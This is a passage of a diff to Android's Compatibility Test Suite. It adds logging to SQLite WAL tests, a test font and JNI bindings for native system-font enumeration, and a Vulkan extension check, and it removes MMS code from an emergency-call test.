@@ -115,7 +115,7 @@
setCompatibilityWalFlags(TRUNCATE_SIZE_KEY + "=1");
SQLiteCompatibilityWalFlags.reset();
- SQLiteDatabase db = doOperation();
+ SQLiteDatabase db = doOperation("testWalTruncate");
// Make sure the WAL file is truncated into 0 bytes.
assertEquals(0, (new File(db.getPath() + WAL_SUFFIX)).length());
@@ -131,7 +131,7 @@
setCompatibilityWalFlags(TRUNCATE_SIZE_KEY + "=1000000");
SQLiteCompatibilityWalFlags.reset();
- SQLiteDatabase db = doOperation();
+ SQLiteDatabase db = doOperation("testWalNoTruncate");
assertTrue((new File(db.getPath() + WAL_SUFFIX)).length() > 0);
}
@@ -145,33 +145,59 @@
setCompatibilityWalFlags(TRUNCATE_SIZE_KEY + "=0");
SQLiteCompatibilityWalFlags.reset();
- SQLiteDatabase db = doOperation();
+ SQLiteDatabase db = doOperation("testWalTruncateDisabled");
assertTrue((new File(db.getPath() + WAL_SUFFIX)).length() > 0);
}
- private SQLiteDatabase doOperation() {
+ private SQLiteDatabase doOperation(String message) {
+ listFiles(message + ": start");
+
SQLiteDatabase db = prepareDatabase();
+ listFiles(message + ": DB created and prepared");
+
// db.close() will remove the wal file, so back the files up.
backupFile(db.getPath());
backupFile(db.getPath() + SHM_SUFFIX);
backupFile(db.getPath() + WAL_SUFFIX);
+ listFiles(message + ": backup created");
+
// Close the DB, this will remove the WAL file.
db.close();
+ listFiles(message + ": DB closed");
+
// Restore the files.
restoreFile(db.getPath());
restoreFile(db.getPath() + SHM_SUFFIX);
restoreFile(db.getPath() + WAL_SUFFIX);
+ listFiles(message + ": DB restored");
+
// Open the DB again.
db = openDatabase();
+ listFiles(message + ": DB re-opened");
+
// Make sure the table still exists.
assertTestTableExists(db);
return db;
}
+
+ private void listFiles(String message) {
+ final File dir = mContext.getDatabasePath("a").getParentFile();
+ Log.i(TAG, "Listing files: " + message + " (" + dir.getAbsolutePath() + ")");
+
+ final File[] files = mContext.getDatabasePath("a").getParentFile().listFiles();
+ if (files == null || files.length == 0) {
+ Log.i(TAG, " No files found");
+ return;
+ }
+ for (File f : files) {
+ Log.i(TAG, " file: " + f.getName() + " " + f.length() + " bytes");
+ }
+ }
}
diff --git a/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java b/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java
index d7c9366..a7b2692 100644
--- a/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java
+++ b/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java
@@ -49,6 +49,14 @@
tearDown();
return;
}
+ if (isPC()) {
+ // The test skips mainly for Chromebook clamshell mode. For Chromebook clamshell mode
+ // with non-rotated landscape physical screen, the portrait window/activity has special
+ // behavior with black background on both sides to make the window/activity look
+ // portrait, which returns smaller screen layout size.
+ tearDown();
+ return;
+ }
int expectedScreenLayout = computeScreenLayout();
int expectedSize = expectedScreenLayout & Configuration.SCREENLAYOUT_SIZE_MASK;
int expectedLong = expectedScreenLayout & Configuration.SCREENLAYOUT_LONG_MASK;
@@ -163,4 +171,9 @@
return (supportsLandscape && supportsPortrait)
|| (!supportsLandscape && !supportsPortrait);
}
+
+ // Check if it is a PC device
+ private boolean isPC() {
+ return hasDeviceFeature(PackageManager.FEATURE_PC);
+ }
}
diff --git a/tests/tests/graphics/assets/textrunadvances.ttf b/tests/tests/graphics/assets/textrunadvances.ttf
new file mode 100644
index 0000000..2e746e0
--- /dev/null
+++ b/tests/tests/graphics/assets/textrunadvances.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/textrunadvances.ttx b/tests/tests/graphics/assets/textrunadvances.ttx
new file mode 100644
index 0000000..76bef67
--- /dev/null
+++ b/tests/tests/graphics/assets/textrunadvances.ttx
@@ -0,0 +1,188 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+ <GlyphOrder>
+ <GlyphID id="0" name=".notdef"/>
+ <GlyphID id="1" name="1em"/>
+ <GlyphID id="2" name="3em"/>
+ </GlyphOrder>
+
+ <head>
+ <tableVersion value="1.0"/>
+ <fontRevision value="1.0"/>
+ <checkSumAdjustment value="0x640cdb2f"/>
+ <magicNumber value="0x5f0f3cf5"/>
+ <flags value="00000000 00000011"/>
+ <unitsPerEm value="1000"/>
+ <created value="Fri Mar 17 07:26:00 2017"/>
+ <macStyle value="00000000 00000000"/>
+ <lowestRecPPEM value="7"/>
+ <fontDirectionHint value="2"/>
+ <glyphDataFormat value="0"/>
+ </head>
+
+ <hhea>
+ <tableVersion value="1.0"/>
+ <ascent value="1000"/>
+ <descent value="-200"/>
+ <lineGap value="0"/>
+ <caretSlopeRise value="1"/>
+ <caretSlopeRun value="0"/>
+ <caretOffset value="0"/>
+ <reserved0 value="0"/>
+ <reserved1 value="0"/>
+ <reserved2 value="0"/>
+ <reserved3 value="0"/>
+ <metricDataFormat value="0"/>
+ </hhea>
+
+ <maxp>
+ <tableVersion value="0x10000"/>
+ <maxZones value="0"/>
+ <maxTwilightPoints value="0"/>
+ <maxStorage value="0"/>
+ <maxFunctionDefs value="0"/>
+ <maxInstructionDefs value="0"/>
+ <maxStackElements value="0"/>
+ <maxSizeOfInstructions value="0"/>
+ <maxComponentElements value="0"/>
+ </maxp>
+
+ <OS_2>
+ <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+ will be recalculated by the compiler -->
+ <version value="3"/>
+ <xAvgCharWidth value="594"/>
+ <usWeightClass value="400"/>
+ <usWidthClass value="5"/>
+ <fsType value="00000000 00001000"/>
+ <ySubscriptXSize value="650"/>
+ <ySubscriptYSize value="600"/>
+ <ySubscriptXOffset value="0"/>
+ <ySubscriptYOffset value="75"/>
+ <ySuperscriptXSize value="650"/>
+ <ySuperscriptYSize value="600"/>
+ <ySuperscriptXOffset value="0"/>
+ <ySuperscriptYOffset value="350"/>
+ <yStrikeoutSize value="50"/>
+ <yStrikeoutPosition value="300"/>
+ <sFamilyClass value="0"/>
+ <panose>
+ <bFamilyType value="0"/>
+ <bSerifStyle value="0"/>
+ <bWeight value="5"/>
+ <bProportion value="0"/>
+ <bContrast value="0"/>
+ <bStrokeVariation value="0"/>
+ <bArmStyle value="0"/>
+ <bLetterForm value="0"/>
+ <bMidline value="0"/>
+ <bXHeight value="0"/>
+ </panose>
+ <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+ <achVendID value="UKWN"/>
+ <fsSelection value="00000000 01000000"/>
+ <usFirstCharIndex value="32"/>
+ <usLastCharIndex value="122"/>
+ <sTypoAscender value="800"/>
+ <sTypoDescender value="-200"/>
+ <sTypoLineGap value="200"/>
+ <usWinAscent value="1000"/>
+ <usWinDescent value="200"/>
+ <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+ <sxHeight value="500"/>
+ <sCapHeight value="700"/>
+ <usDefaultChar value="0"/>
+ <usBreakChar value="32"/>
+ <usMaxContext value="0"/>
+ </OS_2>
+
+ <hmtx>
+ <mtx name=".notdef" width="500" lsb="93"/>
+ <mtx name="1em" width="1000" lsb="93"/>
+ <mtx name="3em" width="3000" lsb="93"/>
+ </hmtx>
+
+ <cmap>
+ <tableVersion version="0"/>
+ <cmap_format_12 format="12" reserved="0" length="1" nGroups="1" platformID="0" platEncID="4" language="0">
+ <map code="0x0061" name="3em" /> <!-- a -->
+ <map code="0x0062" name="1em" /> <!-- b -->
+ <map code="0x0063" name="1em" /> <!-- c -->
+ <map code="0x0064" name="1em" /> <!-- d -->
+ <map code="0x0065" name="1em" /> <!-- e -->
+ <map code="0x1f600" name="3em" /> <!-- an example of surrogat pair -->
+ </cmap_format_12>
+ </cmap>
+
+ <loca>
+ <!-- The 'loca' table will be calculated by the compiler -->
+ </loca>
+
+ <glyf>
+ <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="1em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="3em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ </glyf>
+
+ <name>
+ <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+ Copyright (C) 2017 The Android Open Source Project
+ </namerecord>
+ <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+ Regular
+ </namerecord>
+ <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+ SampleFont-Regular
+ </namerecord>
+ <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ </namerecord>
+ <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+ http://www.apache.org/licenses/LICENSE-2.0
+ </namerecord>
+ </name>
+
+ <post>
+ <formatType value="3.0"/>
+ <italicAngle value="0.0"/>
+ <underlinePosition value="-75"/>
+ <underlineThickness value="50"/>
+ <isFixedPitch value="0"/>
+ <minMemType42 value="0"/>
+ <maxMemType42 value="0"/>
+ <minMemType1 value="0"/>
+ <maxMemType1 value="0"/>
+ </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/jni/Android.mk b/tests/tests/graphics/jni/Android.mk
index d8c3770..af76936 100644
--- a/tests/tests/graphics/jni/Android.mk
+++ b/tests/tests/graphics/jni/Android.mk
@@ -33,6 +33,7 @@
android_graphics_cts_VulkanFeaturesTest.cpp \
android_graphics_cts_VulkanPreTransformCtsActivity.cpp \
android_graphics_cts_VulkanSurfaceSupportTest.cpp \
+ android_graphics_fonts_cts_SystemFonts.cpp \
CameraTestHelpers.cpp \
ImageReaderTestHelpers.cpp \
MediaTestHelpers.cpp \
diff --git a/tests/tests/graphics/jni/CtsGraphicsJniOnLoad.cpp b/tests/tests/graphics/jni/CtsGraphicsJniOnLoad.cpp
index a435ab4..db7919d 100644
--- a/tests/tests/graphics/jni/CtsGraphicsJniOnLoad.cpp
+++ b/tests/tests/graphics/jni/CtsGraphicsJniOnLoad.cpp
@@ -27,6 +27,7 @@
extern int register_android_graphics_cts_VulkanFeaturesTest(JNIEnv*);
extern int register_android_graphics_cts_VulkanPreTransformCtsActivity(JNIEnv*);
extern int register_android_graphics_cts_VulkanSurfaceSupportTest(JNIEnv*);
+extern int register_android_graphics_fonts_cts_SystemFontTest(JNIEnv*);
jint JNI_OnLoad(JavaVM* vm, void* /*reserved*/) {
JNIEnv* env = nullptr;
@@ -54,5 +55,7 @@
return JNI_ERR;
if (register_android_graphics_cts_CameraVulkanGpuTest(env))
return JNI_ERR;
+ if (register_android_graphics_fonts_cts_SystemFontTest(env))
+ return JNI_ERR;
return JNI_VERSION_1_4;
}
diff --git a/tests/tests/graphics/jni/android_graphics_fonts_cts_SystemFonts.cpp b/tests/tests/graphics/jni/android_graphics_fonts_cts_SystemFonts.cpp
new file mode 100644
index 0000000..507facc
--- /dev/null
+++ b/tests/tests/graphics/jni/android_graphics_fonts_cts_SystemFonts.cpp
@@ -0,0 +1,97 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#define LOG_TAG "SystemFonts"
+
+#include <jni.h>
+#include <android/system_fonts.h>
+
+#include <array>
+#include <android/log.h>
+
+namespace {
+
+jlong nOpenIterator(JNIEnv*, jclass) {
+ return reinterpret_cast<jlong>(ASystemFontIterator_open());
+}
+
+void nCloseIterator(JNIEnv*, jclass, jlong ptr) {
+ ASystemFontIterator_close(reinterpret_cast<ASystemFontIterator*>(ptr));
+}
+
+jlong nGetNext(JNIEnv*, jclass, jlong ptr) {
+ return reinterpret_cast<jlong>(ASystemFontIterator_next(
+ reinterpret_cast<ASystemFontIterator*>(ptr)));
+}
+
+void nCloseFont(JNIEnv*, jclass, jlong ptr) {
+ return ASystemFont_close(reinterpret_cast<ASystemFont*>(ptr));
+}
+
+jstring nGetFilePath(JNIEnv* env, jclass, jlong ptr) {
+ return env->NewStringUTF(ASystemFont_getFontFilePath(reinterpret_cast<ASystemFont*>(ptr)));
+}
+
+jint nGetWeight(JNIEnv*, jclass, jlong ptr) {
+ return ASystemFont_getWeight(reinterpret_cast<ASystemFont*>(ptr));
+}
+
+jboolean nIsItalic(JNIEnv*, jclass, jlong ptr) {
+ return ASystemFont_isItalic(reinterpret_cast<ASystemFont*>(ptr));
+}
+
+jstring nGetLocale(JNIEnv* env, jclass, jlong ptr) {
+ return env->NewStringUTF(ASystemFont_getLocale(reinterpret_cast<ASystemFont*>(ptr)));
+}
+
+jint nGetCollectionIndex(JNIEnv*, jclass, jlong ptr) {
+ return ASystemFont_getCollectionIndex(reinterpret_cast<ASystemFont*>(ptr));
+}
+
+jint nGetAxisCount(JNIEnv*, jclass, jlong ptr) {
+ return ASystemFont_getAxisCount(reinterpret_cast<ASystemFont*>(ptr));
+}
+
+jint nGetAxisTag(JNIEnv*, jclass, jlong ptr, jint axisIndex) {
+ return ASystemFont_getAxisTag(reinterpret_cast<ASystemFont*>(ptr), axisIndex);
+}
+
+jfloat nGetAxisValue(JNIEnv*, jclass, jlong ptr, jint axisIndex) {
+ return ASystemFont_getAxisValue(reinterpret_cast<ASystemFont*>(ptr), axisIndex);
+}
+
+const std::array<JNINativeMethod, 12> JNI_METHODS = {{
+ { "nOpenIterator", "()J", (void*) nOpenIterator },
+ { "nCloseIterator", "(J)V", (void*) nCloseIterator },
+ { "nNext", "(J)J", (void*) nGetNext },
+ { "nCloseFont", "(J)V", (void*) nCloseFont },
+ { "nGetFilePath", "(J)Ljava/lang/String;", (void*) nGetFilePath },
+ { "nGetWeight", "(J)I", (void*) nGetWeight },
+ { "nIsItalic", "(J)Z", (void*) nIsItalic },
+ { "nGetLocale", "(J)Ljava/lang/String;", (void*) nGetLocale },
+ { "nGetCollectionIndex", "(J)I", (void*) nGetCollectionIndex },
+ { "nGetAxisCount", "(J)I", (void*) nGetAxisCount },
+ { "nGetAxisTag", "(JI)I", (void*) nGetAxisTag },
+ { "nGetAxisValue", "(JI)F", (void*) nGetAxisValue },
+}};
+
+}
+
+int register_android_graphics_fonts_cts_SystemFontTest(JNIEnv* env) {
+ jclass clazz = env->FindClass("android/graphics/fonts/NativeSystemFontHelper");
+ return env->RegisterNatives(clazz, JNI_METHODS.data(), JNI_METHODS.size());
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/PaintTest.java b/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
index 9f854c0..909e635 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
@@ -1847,4 +1847,39 @@
Hyphenator.END_HYPHEN_EDIT_REPLACE_WITH_HYPHEN));
assertEquals(40.0f, paint.measureText("abc", 0, 3), 0.0f); // "ab-" in visual.
}
+
+ @Test
+ public void testGetTextRunAdvances() {
+ final Paint paint = new Paint();
+ final Context context = InstrumentationRegistry.getTargetContext();
+ paint.setTypeface(Typeface.createFromAsset(context.getAssets(), "textrunadvances.ttf"));
+ // The textrunadvances.ttf font supports following characters
+ // - U+0061 (a): The glyph has 3em width.
+ // - U+0062..U+0065 (b..e): The glyph has 1em width.
+ // - U+1F600 (GRINNING FACE): The glyph has 3em width.
+ paint.setTextSize(10.0f); // Make 1em = 10px
+
+ final char[] chars = { 'a', 'b', 'a', 'b' };
+ final float[] buffer = new float[32];
+
+ assertEquals(80.0f,
+ paint.getTextRunAdvances(chars, 0, 4, 0, 4, false /* isRtl */, buffer, 0), 0.0f);
+ assertEquals(30.0f, buffer[0], 0.0f);
+ assertEquals(10.0f, buffer[1], 0.0f);
+ assertEquals(30.0f, buffer[2], 0.0f);
+ assertEquals(10.0f, buffer[3], 0.0f);
+
+ // Output offset test
+ assertEquals(40.0f,
+ paint.getTextRunAdvances(chars, 1, 2, 1, 2, false /* isRtl */, buffer, 5), 0.0f);
+ assertEquals(10.0f, buffer[5], 0.0f);
+ assertEquals(30.0f, buffer[6], 0.0f);
+
+ // Surrogate pairs
+ final char[] chars2 = Character.toChars(0x1F600);
+ assertEquals(30.0f,
+ paint.getTextRunAdvances(chars2, 0, 2, 0, 2, false /* isRtl */, buffer, 0), 0.0f);
+ assertEquals(30.0f, buffer[0], 0.0f);
+ assertEquals(0.0f, buffer[1], 0.0f);
+ }
}
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
index 2fe4352..4e04286 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
@@ -173,6 +173,13 @@
public void testVulkan1_1Requirements() throws JSONException {
if (mVulkanHardwareVersion == null || mVulkanHardwareVersion.version < VULKAN_1_1)
return;
+ assertTrue("Devices with Vulkan 1.1 must support " +
+ VK_ANDROID_EXTERNAL_MEMORY_ANDROID_HARDWARE_BUFFER_EXTENSION_NAME +
+ " (version >= " + VK_ANDROID_EXTERNAL_MEMORY_ANDROID_HARDWARE_BUFFER_SPEC_VERSION +
+ ")",
+ hasExtension(mBestDevice,
+ VK_ANDROID_EXTERNAL_MEMORY_ANDROID_HARDWARE_BUFFER_EXTENSION_NAME,
+ VK_ANDROID_EXTERNAL_MEMORY_ANDROID_HARDWARE_BUFFER_SPEC_VERSION));
assertTrue("Devices with Vulkan 1.1 must support SYNC_FD external semaphores",
hasHandleType(mBestDevice.getJSONArray("externalSemaphoreProperties"),
VK_EXTERNAL_SEMAPHORE_HANDLE_TYPE_SYNC_FD_BIT,
diff --git a/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontHelper.java b/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontHelper.java
new file mode 100644
index 0000000..48dbc4e
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontHelper.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.fonts;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.HashSet;
+import java.util.Set;
+
+public class NativeSystemFontHelper {
+ static {
+ System.loadLibrary("ctsgraphics_jni");
+ }
+
+ private static String tagToStr(int tag) {
+ char[] buf = new char[4];
+ buf[0] = (char) ((tag >> 24) & 0xFF);
+ buf[1] = (char) ((tag >> 16) & 0xFF);
+ buf[2] = (char) ((tag >> 8) & 0xFF);
+ buf[3] = (char) (tag & 0xFF);
+ return String.valueOf(buf);
+ }
+
+ public static Set<Font> getAvailableFonts() {
+ long iterPtr = nOpenIterator();
+ HashSet<Font> nativeFonts = new HashSet<>();
+ try {
+ for (long fontPtr = nNext(iterPtr); fontPtr != 0; fontPtr = nNext(iterPtr)) {
+ try {
+ FontVariationAxis[] axes = new FontVariationAxis[nGetAxisCount(fontPtr)];
+ for (int i = 0; i < axes.length; ++i) {
+ axes[i] = new FontVariationAxis(
+ tagToStr(nGetAxisTag(fontPtr, i)), nGetAxisValue(fontPtr, i));
+ }
+ nativeFonts.add(new Font.Builder(new File(nGetFilePath(fontPtr)))
+ .setWeight(nGetWeight(fontPtr))
+ .setItalic(nIsItalic(fontPtr))
+ .setTtcIndex(nGetCollectionIndex(fontPtr))
+ .setFontVariationSettings(axes)
+ .build());
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ } finally {
+ nCloseFont(fontPtr);
+ }
+ }
+ } finally {
+ nCloseIterator(iterPtr);
+ }
+ return nativeFonts;
+ }
+
+ private static native long nOpenIterator();
+ private static native void nCloseIterator(long ptr);
+ private static native long nNext(long ptr);
+ private static native void nCloseFont(long ptr);
+ private static native String nGetFilePath(long ptr);
+ private static native int nGetWeight(long ptr);
+ private static native boolean nIsItalic(long ptr);
+ private static native String nGetLocale(long ptr);
+ private static native int nGetCollectionIndex(long ptr);
+ private static native int nGetAxisCount(long ptr);
+ private static native int nGetAxisTag(long ptr, int index);
+ private static native float nGetAxisValue(long ptr, int index);
+}
diff --git a/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontTest.java b/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontTest.java
new file mode 100644
index 0000000..2fd8295
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontTest.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.fonts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Set;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class NativeSystemFontTest {
+
+ @Test
+ public void testSameResultAsJava() {
+ Set<Font> javaFonts = SystemFonts.getAvailableFonts();
+ Set<Font> nativeFonts = NativeSystemFontHelper.getAvailableFonts();
+
+ assertEquals(javaFonts.size(), nativeFonts.size());
+
+ for (Font f : nativeFonts) {
+ assertTrue(javaFonts.contains(f));
+ }
+
+ for (Font f : javaFonts) {
+ assertTrue(nativeFonts.contains(f));
+ }
+ }
+}
diff --git a/tests/tests/graphics/src/android/graphics/fonts/SystemFontsTest.java b/tests/tests/graphics/src/android/graphics/fonts/SystemFontsTest.java
index d7f7e24..eb2b32d 100644
--- a/tests/tests/graphics/src/android/graphics/fonts/SystemFontsTest.java
+++ b/tests/tests/graphics/src/android/graphics/fonts/SystemFontsTest.java
@@ -23,28 +23,42 @@
import static org.junit.Assert.fail;
import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.system.ErrnoException;
import android.system.Os;
import android.system.OsConstants;
import org.junit.Test;
import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
import java.nio.ReadOnlyBufferException;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Set;
@SmallTest
-@RunWith(AndroidJUnit4.class)
+@RunWith(Parameterized.class)
public class SystemFontsTest {
+
+ @Parameterized.Parameter(0)
+ public Set<Font> availableFonts;
+
+ @Parameterized.Parameters
+ public static Collection<Object[]> getParameters() {
+ ArrayList<Object[]> allParams = new ArrayList<>();
+ allParams.add(new Object[] { SystemFonts.getAvailableFonts() });
+ allParams.add(new Object[] { NativeSystemFontHelper.getAvailableFonts() });
+ return allParams;
+ }
+
@Test
public void testAvailableFonts_NotEmpty() {
- assertNotEquals("System available fonts must not be empty",
- 0, SystemFonts.getAvailableFonts().size());
+ assertNotEquals("System available fonts must not be empty", 0, availableFonts.size());
}
@Test
public void testAvailableFonts_ReadOnlyFile() throws ErrnoException {
- for (Font font : SystemFonts.getAvailableFonts()) {
+ for (Font font : availableFonts) {
assertNotNull("System font must provide file path to the font file.", font.getFile());
// The system font must be read-only file.
@@ -62,7 +76,7 @@
@Test
public void testAvailableFonts_ReadOnlyBuffer() {
- for (Font font : SystemFonts.getAvailableFonts()) {
+ for (Font font : availableFonts) {
try {
font.getBuffer().put((byte) 0);
fail("System font must be read only");
diff --git a/tests/tests/keystore/AndroidManifest.xml b/tests/tests/keystore/AndroidManifest.xml
index 1816f2e..034c871 100644
--- a/tests/tests/keystore/AndroidManifest.xml
+++ b/tests/tests/keystore/AndroidManifest.xml
@@ -18,7 +18,6 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.keystore.cts">
- <uses-permission android:name="android.permission.MANAGE_ACTIVITY_STACKS" />
<uses-permission android:name="android.permission.INTERNET" />
<application>
<uses-library android:name="android.test.runner" />
diff --git a/tests/tests/keystore/src/android/server/am/ActivityManagerTestBase.java b/tests/tests/keystore/src/android/server/am/ActivityManagerTestBase.java
index 6db2f09..6847d31 100644
--- a/tests/tests/keystore/src/android/server/am/ActivityManagerTestBase.java
+++ b/tests/tests/keystore/src/android/server/am/ActivityManagerTestBase.java
@@ -124,7 +124,6 @@
pressWakeupButton();
pressUnlockButton();
pressHomeButton();
- removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
}
@After
@@ -132,18 +131,12 @@
// Synchronous execution of removeStacksWithActivityTypes() ensures that all activities but
// home are cleaned up from the stack at the end of each test. Am force stop shell commands
// might be asynchronous and could interrupt the stack cleanup process if executed first.
- removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
executeShellCommand(AM_FORCE_STOP_TEST_PACKAGE);
executeShellCommand(AM_FORCE_STOP_SECOND_TEST_PACKAGE);
executeShellCommand(AM_FORCE_STOP_THIRD_TEST_PACKAGE);
pressHomeButton();
}
- protected void removeStacksWithActivityTypes(int... activityTypes) {
- mAtm.removeStacksWithActivityTypes(activityTypes);
- waitForIdle();
- }
-
public static String executeShellCommand(String command) {
log("Shell command: " + command);
try {
diff --git a/tests/tests/location/src/android/location/cts/EmergencyCallMessageTest.java b/tests/tests/location/src/android/location/cts/EmergencyCallMessageTest.java
index d7dbc89..4c2c36f 100644
--- a/tests/tests/location/src/android/location/cts/EmergencyCallMessageTest.java
+++ b/tests/tests/location/src/android/location/cts/EmergencyCallMessageTest.java
@@ -16,19 +16,6 @@
import android.text.TextUtils;
import android.util.Log;
-import com.google.android.mms.ContentType;
-import com.google.android.mms.InvalidHeaderValueException;
-import com.google.android.mms.pdu.CharacterSets;
-import com.google.android.mms.pdu.EncodedStringValue;
-import com.google.android.mms.pdu.GenericPdu;
-import com.google.android.mms.pdu.PduBody;
-import com.google.android.mms.pdu.PduComposer;
-import com.google.android.mms.pdu.PduHeaders;
-import com.google.android.mms.pdu.PduParser;
-import com.google.android.mms.pdu.PduPart;
-import com.google.android.mms.pdu.SendConf;
-import com.google.android.mms.pdu.SendReq;
-
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
@@ -43,96 +30,20 @@
private static final String TAG = "EmergencyCallMSGTest";
- private static final String ACTION_MMS_SENT = "CTS_MMS_SENT_ACTION";
private static final long DEFAULT_EXPIRY_TIME_SECS = TimeUnit.DAYS.toSeconds(7);
private static final long MMS_CONFIG_DELAY_MILLIS = TimeUnit.SECONDS.toMillis(1);
- private static final int DEFAULT_PRIORITY = PduHeaders.PRIORITY_NORMAL;
private static final short DEFAULT_DATA_SMS_PORT = 8091;
private static final String PHONE_NUMBER_KEY = "android.cts.emergencycall.phonenumber";
- private static final String SUBJECT = "CTS Emergency Call MMS Test";
- private static final String MMS_MESSAGE_BODY = "CTS Emergency Call MMS test message body";
private static final String SMS_MESSAGE_BODY = "CTS Emergency Call Sms test message body";
private static final String SMS_DATA_MESSAGE_BODY =
"CTS Emergency Call Sms data test message body";
- private static final String TEXT_PART_FILENAME = "text_0.txt";
- private static final String SMIL_TEXT =
- "<smil>" +
- "<head>" +
- "<layout>" +
- "<root-layout/>" +
- "<region height=\"100%%\" id=\"Text\" left=\"0%%\" top=\"0%%\" width=\"100%%\"/>" +
- "</layout>" +
- "</head>" +
- "<body>" +
- "<par dur=\"8000ms\">" +
- "<text src=\"%s\" region=\"Text\"/>" +
- "</par>" +
- "</body>" +
- "</smil>";
-
private static final long SENT_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5); // 5 minutes
-
private static final String PROVIDER_AUTHORITY = "emergencycallverifier";
private Random mRandom;
- private SentReceiver mSentReceiver;
private TelephonyManager mTelephonyManager;
private PackageManager mPackageManager;
- private static class SentReceiver extends BroadcastReceiver {
